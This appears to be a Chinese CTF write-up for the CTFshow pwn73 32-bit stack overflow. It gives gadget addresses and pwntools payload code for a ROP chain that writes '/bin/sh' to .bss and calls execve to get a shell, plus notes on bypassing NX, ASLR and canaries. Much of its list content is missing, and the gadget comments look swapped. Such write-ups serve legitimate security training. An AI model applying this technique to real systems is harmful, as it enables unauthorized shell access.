今天我们来深入分析一个经典的CTF PWN题目——CTFshow-PWN-栈溢出(pwn73)。这是一个典型的32位Linux系统下的栈溢出漏洞利用案例,通过精心构造的ROP(Return-Oriented Programming)链实现系统调用,最终获取shell权限。
这个题目虽然表面看起来简单,但其中蕴含着许多值得深入探讨的技术细节。作为一名长期奋战在CTF一线的选手,我将从实战角度详细解析这个漏洞的利用过程,分享我在解决这类问题时积累的经验和技巧。
首先我们需要了解题目的基本信息:
在开始分析前,我们需要准备以下工具:
安装这些工具的命令如下:
bash复制pip install pwntools
pip install ROPgadget
sudo apt-get install gdb
通过反汇编或动态调试,我们可以发现程序中存在一个明显的栈溢出漏洞。具体表现为:
在本题中,通过分析可以确定偏移量为28字节。这意味着我们需要填充28字节的垃圾数据后才能覆盖返回地址。
ROP是一种高级的漏洞利用技术,它通过组合程序中已有的代码片段(称为gadget)来实现攻击者的目的。每个gadget通常以ret指令结尾,通过精心安排栈上的返回地址,可以形成一条执行链。
在本题中,我们需要构造ROP链来实现以下功能:
让我们仔细看看exp中使用到的关键gadget:
python复制pop_eax = 0x080b81c6 # pop eax; ret
pop_edx_ecx_ebx = 0x0806f050 # pop edx; pop ecx; pop ebx; ret
int_0x80 = 0x0806cc25 # int 0x80; ret
int_0x80_ret = 0x0806f630 # int 0x80
这些gadget的作用分别是:
pop_eax:将栈顶的值弹出到eax寄存器,然后返回pop_edx_ecx_ebx:连续将三个值弹出到edx、ecx、ebx寄存器,然后返回int_0x80:执行系统调用int_0x80_ret:执行系统调用后返回首先我们需要将"/bin/sh"字符串写入内存的某个可写区域。这里选择了.bss段,因为它通常是可写的,而且地址固定。
python复制payload = cyclic(offset) + p32(pop_eax) + p32(0x3)
payload += p32(pop_edx_ecx_ebx) + p32(0x20) + p32(bss_addr) + p32(0)
payload += p32(int_0x80_ret)
这段payload的工作流程:
接下来我们需要执行execve("/bin/sh", 0, 0):
python复制payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int_0x80)
这段payload的工作流程:
在32位Linux系统中,系统调用号定义如下:
可以通过查看/usr/include/asm/unistd_32.h文件获取完整的系统调用号列表。
选择写入"/bin/sh"字符串的地址时需要考虑:
.bss段通常是最佳选择,因为它满足以上所有条件。
在开发exp时,可以使用以下调试技巧:
process('./pwn')而不是remote()pause()暂停执行,方便调试gdb.attach(io)附加调试器context(log_level='debug')查看详细通信日志如果系统调用失败,可能的原因有:
解决方案:
如果ROP链没有按预期执行,可能的原因有:
解决方案:
连接远程服务器时可能遇到的问题:
解决方案:
io = remote(..., timeout=10)io.interactive()保持交互除了手动构造ROP链,我们还可以使用工具自动生成:
bash复制ROPgadget --binary ./pwn --ropchain
这会生成一个完整的ROP利用模板,可以在此基础上进行修改。
除了int 0x80,32位系统还可以使用sysenter指令进行系统调用。相应的gadget和调用方式会有所不同。
在64位系统中,系统调用的方式有所不同:
虽然本题没有开启任何防护措施,但在实际环境中,我们可能会遇到各种防护机制:
NX(No Execute)保护会阻止执行栈上的代码。绕过方法:
ASLR(地址空间布局随机化)会使内存地址随机变化。绕过方法:
栈保护机制会检测栈溢出。绕过方法:
在实际CTF比赛中,这类栈溢出题目非常常见。根据我的经验,以下几点特别重要:
精确计算偏移量:一个字节的偏差都会导致利用失败。可以使用cyclic pattern和gdb配合确定精确偏移。
系统调用参数检查:确保所有寄存器都设置了正确的值,特别是系统调用号和参数寄存器。
稳定性考虑:远程环境可能与本地不同,需要考虑网络延迟等因素,增加适当的等待和重试机制。
日志记录:详细记录每次尝试的payload和结果,便于排查问题。
备用方案:准备多种利用方式,当一种方法不工作时可以快速切换到其他方法。
最后提醒一点,在实际渗透测试中,使用这些技术必须获得合法授权。这些技能应该用于防御和安全研究,而不是非法入侵。